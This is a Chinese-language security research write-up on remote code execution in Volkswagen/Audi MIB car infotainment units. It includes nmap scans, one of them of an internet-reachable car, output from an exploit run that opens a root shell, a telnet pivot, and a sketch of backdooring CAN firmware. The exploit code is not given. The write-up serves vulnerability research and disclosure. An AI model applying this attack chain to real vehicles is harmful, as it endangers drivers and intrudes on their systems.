Introduction
在这项研究中,我们查看了不同品牌和型号的不同汽车,相似之处在于所有汽车都具有互联网连接功能。最终,我们将研究重点放在了一种特定的车载信息娱乐(IVI)系统上,该系统用于大众汽车集团的大多数汽车,并常被称为MIB。更具体地说,在我们的研究中,我们使用了一辆大众高尔夫GTE和一辆奥迪A3 e-tron。
Car anatomy
现代车辆的连接程度远超人们的想象。在过去,汽车主要是依靠机械功能如转向和制动操作的机械设备。现代车辆主要依赖电子系统来控制这些系统。这通常被称为线控驾驶,相比传统的机械方法,它有几个优势。由于组件由计算机控制,许多安全特性成为可能。例如,如果前雷达检测到前方有障碍物并且认为碰撞不可避免,某些汽车会自动刹车。线控驾驶也用于一些豪华功能,比如自动泊车,通过基于雷达/摄像头图像电子接管方向盘。
所有这些新功能之所以可能,是因为现代汽车中的每个组件都连接到了一个中央总线,组件之间通过这个总线交换消息。最常见的总线系统是自90年代以来所有汽车都配备的CAN(控制器局域网)总线。如今,它控制着一切,从转向到解锁车门再到收音机上的音量旋钮。
CAN协议本身相对简单。基本上,每条消息都有一个仲裁ID和一个负载。没有认证、授权、签名、加密等。一旦接入总线,就可以发送任意消息,这些消息将被连接到同一总线的所有方接收。也没有发送者或接收者信息,每个组件可以自行决定某个特定消息是否适用于它们。
只有一层或少数几层介于蜂窝网络连接和高速CAN总线之间的汽车
允许我们轻松更换SIM卡的汽车(因为我们不是汽车的所有者,焊接、去封装等操作是不希望的)
通过蜂窝网络或Wi-Fi提供大量服务的汽车
$ nmap -sV -vvv -oA gte -Pn -p- 192.168.88.253
Starting Nmap 7.31 ( https://nmap.org ) at 2017-01-05 10:34 CET
Host is up, received user-set (0.0061s latency).
Not shown: 65522 closed ports
Reason: 65522 conn-refused
PORT STATE SERVICE REASON VERSION
23/tcp open telnet syn-ack Openwall GNU/*/Linux telnetd
10123/tcp open unknown syn-ack
15001/tcp open unknown syn-ack
21002/tcp open unknown syn-ack
21200/tcp open unknown syn-ack
22111/tcp open tcpwrapped syn-ack
22222/tcp open easyengine? syn-ack
23100/tcp open unknown syn-ack
23101/tcp open unknown syn-ack
25010/tcp open unknown syn-ack
30001/tcp open pago-services1? syn-ack
32111/tcp open unknown syn-ack
49152/tcp open unknown syn-ack
Nmap done: 1 IP address (1 host up) scanned in 259.12 seconds
$ nmap -p- -sV -vvv -oA a3 -Pn 192.168.1.1
Starting Nmap 7.31 ( https://nmap.org ) at 2017-01-04 11:09 CET
Nmap scan report for 192.168.1.1
Host is up, received user-set (0.013s latency).
Not shown: 65533 filtered ports
Reason: 65533 no-responses
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack dnsmasq 2.66
49152/tcp open unknown syn-ack
Nmap done: 1 IP address (1 host up) scanned in 235.22 seconds
我们花了一些时间审查UPnP的源代码(但绝非全面审计),但并未发现可利用的漏洞。
我们最初选择高尔夫作为主要研究目标是因为它有更多的攻击面,但这至少表明这两个系统是基于同一平台构建的。
经过进一步研究,我们在高尔夫上发现了一个带有可利用漏洞的服务。最初,我们可以利用这个漏洞从磁盘读取任意文件,但很快就扩展了可能性,实现了完全的远程代码执行。这种攻击只能通过Wi-Fi热点进行,因此影响有限。攻击者必须靠近汽车,并且汽车必须连接到攻击者的Wi-Fi网络。但我们确实获得了初始访问权限:
$ ./exploit 192.168.88.253
[+] going to exploit 192.168.88.253
[+] system seems vulnerable...
[+] enjoy your shell:
uname -a
QNX mmx 6.5.0 2014/12/18-14:41:09EST nVidia_Tegra2(T30)_Boards armle
# ifconfig mmx0
mmx0: flags=8843<up,broadcast,running,simplex,multicast style="box-sizing: border-box;"> mtu 1500</up,broadcast,running,simplex,multicast>
address: 00:05:04:03:02:01
media:
autoselect inet 10.0.0.15 netmask 0xffffff00 broadcast 10.0.0.255
inet6 fe80::205:4ff:fe03:201%mmx0 prefixlen 64 scopeid 0x3
# /tmp/telnet 10.0.0.16
Trying 10.0.0.16...
Connected to 10.0.0.16.
Escape character is '^]'.
QNX Neutrino (rcc) (ttyp0)
login: root
Password:
___ _ _ __ __ ___ _____
/ |_ _ __| (_) | \/ |_ _| _ \
/ /| | | | |/ _ | | | |\/| || || |_)_/
/ __ | |_| | (_| | | | | | || || |_) \
/_/ |_|__,__|\__,_|_| |_| |_|___|_____/
/ > ls –la
total 37812
lrwxrwxrwx 1 root root 17 Jan 01 00:49 HBpersistence -> /mnt/efs-persist/
drwxrwxrwx 2 root root 30 Jan 01 00:00 bin
lrwxrwxrwx 1 root root 29 Jan 01 00:49 config -> /mnt/ifs-root/usr/apps/config
drwxrwxrwx 2 root root 10 Feb 16 2015 dev
dr-xr-xr-x 2 root root 0 Jan 01 00:49 eso
drwxrwxrwx 2 root root 10 Jan 01 00:00 etc
dr-xr-xr-x 2 root root 0 Jan 01 00:49 hbsystem
lrwxrwxrwx 1 root root 20 Jan 01 00:49 irc -> /mnt/efs-persist/irc
drwxrwxrwx 2 root root 20 Jan 01 00:00 lib
drwxrwxrwx 2 root root 10 Feb 16 2015 mnt
dr-xr-xr-x 1 root root 0 Jan 01 00:37 net
drwxrwxrwx 2 root root 10 Jan 01 00:00 opt
dr-xr-xr-x 2 root root 19353600 Jan 01 00:49 proc
drwxrwxrwx 2 root root 10 Jan 01 00:00 sbin
dr-xr-xr-x 2 root root 0 Jan 01 00:49 scripts
dr-xr-xr-x 2 root root 0 Jan 01 00:49 srv
lrwxrwxrwx 1 root root 10 Feb 16 2015 tmp -> /dev/shmem
drwxr-xr-x 2 root root 10 Jan 01 00:00 usr
dr-xr-xr-x 2 root root 0 Jan 01 00:49 var
/ >
$ nmap -p0- -oA md -Pn -vvv -A 89.200.70.122
Starting Nmap 7.31 ( https://nmap.org ) at 2017-04-03 09:14:54 CET
Host is up, received user-set (0.033s latency).
Not shown: 65517 closed ports
Reason: 65517 conn-refused
PORT STATE SERVICE REASON VERSION
23/tcp open telnet syn-ack Openwall GNU/*/Linux telnetd
10023/tcp open unknown syn-ack
10123/tcp open unknown syn-ack
15298/tcp filtered unknown no-response
21002/tcp open unknown syn-ack
22110/tcp open unknown syn-ack
22111/tcp open tcpwrapped syn-ack
23000/tcp open tcpwrapped syn-ack
23059/tcp open unknown syn-ack
32111/tcp open tcpwrapped syn-ack
35334/tcp filtered unknown no-response
38222/tcp filtered unknown no-response
49152/tcp open unknown syn-ack
49329/tcp filtered unknown no-response
62694/tcp filtered unknown no-response
65389/tcp open tcpwrapped syn-ack
65470/tcp open tcpwrapped syn-ack
65518/tcp open unknown syn-ack
Nmap done: 1 IP address (1 host up) scanned in 464 seconds
大多数服务与Golf上的相同。某些方面可能有所不同(比如端口号),这可能是由于奥迪使用的是MIB IVI系统的较旧型号。但更重要的是:我们发现的易受攻击的服务也是可达的,并且存在同样的漏洞!
攻击者只能在车主启用了奥迪Connect服务,并且所在国家的ISP允许客户端到客户端通信或分配公共IPv4地址的情况下滥用此漏洞。
总结到目前为止的研究:我们已经通过互联网实现了对MMX的远程代码执行。从这里,我们也可以控制RCC。下一步将是通过总线发送任意CAN消息,看看是否能够到达任何安全关键组件。
Renesas V850
RCC单元并不是直接连接到CAN总线的,它有一个串行连接(SPI)到一个单独的芯片,该芯片负责所有CAN通信。这个芯片由瑞萨制造,使用V850架构。
该芯片上的固件不允许发送任意CAN消息。它有一个API,允许发送有限数量的消息。很可能,网关中的任何漏洞都会要求我们发送不在列表上的消息,这意味着我们需要一种方法让瑞萨芯片为我们发送任意消息。瑞萨芯片的读取功能已被禁用,这意味着无法轻易从芯片中提取固件。
MIB系统确实具有软件更新功能。为此,需要插入包含新固件的SD卡、USB驱动器或CD。更新序列由MMX单元发起,该单元负责挂载和处理所有可移动媒体。当检测到新的固件映像时,更新序列就会开始。
更新使用RSA签名,但未加密。签名验证由MMX单元完成,之后它会将相应的更新文件传递给RCC和瑞萨芯片。RCC和瑞萨芯片信任MMX单元已经完成了签名验证,因此不会再次验证其新固件的签名。可以通过RCC单元(使用mib2_ioc_flash)来启动Renesas V850芯片的更新。
固件映像很难获得。它们只提供给官方经销商,而不是终端用户。然而,如果能够获取到固件映像,理论上就可以对瑞萨芯片的原厂固件映像进行后门处理,以允许发送任意CAN消息,并从RCC单元闪存这个新的固件。
下图显示了到目前为止的攻击链:
网关的固件是经过签名的,因此对这个芯片植入后门是不可行的,因为它会使签名失效。此外,刷新固件只能通过调试总线(ODB-II端口)进行,而不能通过IVI CAN总线。如果我们想绕过这个芯片,就需要找到固件中的可利用漏洞。为了实现这一目标,我们的第一步将是尝试使用物理向量从芯片中提取固件。然而,在仔细考虑后,我们决定在这个阶段停止研究,因为这可能会侵犯制造商的知识产权,并且可能违反法律。
USB vector
在发现了远程向量之后,我们还发现了一个尚未探索的第二个向量。出于调试目的,MMX单元识别几个USB转以太网适配器作为调试接口,这将创建一个额外的网络接口。看来这个网络接口也会提供易受攻击的服务。配置可以在/etc/usblauncher.lua中找到:
-- D-Link DUB-E100 USB Dongles
device(0x2001, 0x3c05) {
driver"/etc/scripts/extnet.sh -oname=en,lan=0,busnum=$(busno),devnum=$(devno),phy_88772=0,phy_check,wait=60,speed=100,duplex=1,ign_remove,path=$(USB_PATH) /lib/dll/devnp-asix.so /dev/io-net/en0";
removal"ifconfig en0 destroy";
};
device(0x2001, 0x1a02) {
driver"/etc/scripts/extnet.sh -oname=en,lan=0,busnum=$(busno),devnum=$(devno),phy_88772=0,phy_check,wait=60,speed=100,duplex=1,ign_remove,path=$(USB_PATH) /lib/dll/devnp-asix.so /dev/io-net/en0";
removal"ifconfig en0 destroy";
};
-- SMSC9500
device(0x0424, 0x9500) {
-- the extnet.sh script does an exec dhcp.client at the bottom, then usblauncher can slay the dhcp.client when the dongle is removed
driver"/etc/scripts/extnet.sh -olan=0,busnum=$(busno),devnum=$(devno),path=$(USB_PATH) /lib/dll/devn-smsc9500.so /dev/io-net/en0";
removal"ifconfig en0 destroy";
};
-- Germaneers LAN9514
device(0x2721, 0xec00) {
-- the extnet.sh script does an exec dhcp.client at the bottom, then usblauncher can slay the dhcp.client when the dongle is removed
driver"/etc/scripts/extnet.sh -olan=0,busnum=$(busno),devnum=$(devno),path=$(USB_PATH) /lib/dll/devn-smsc9500.so /dev/io-net/en0";
removal"ifconfig en0 destroy";
};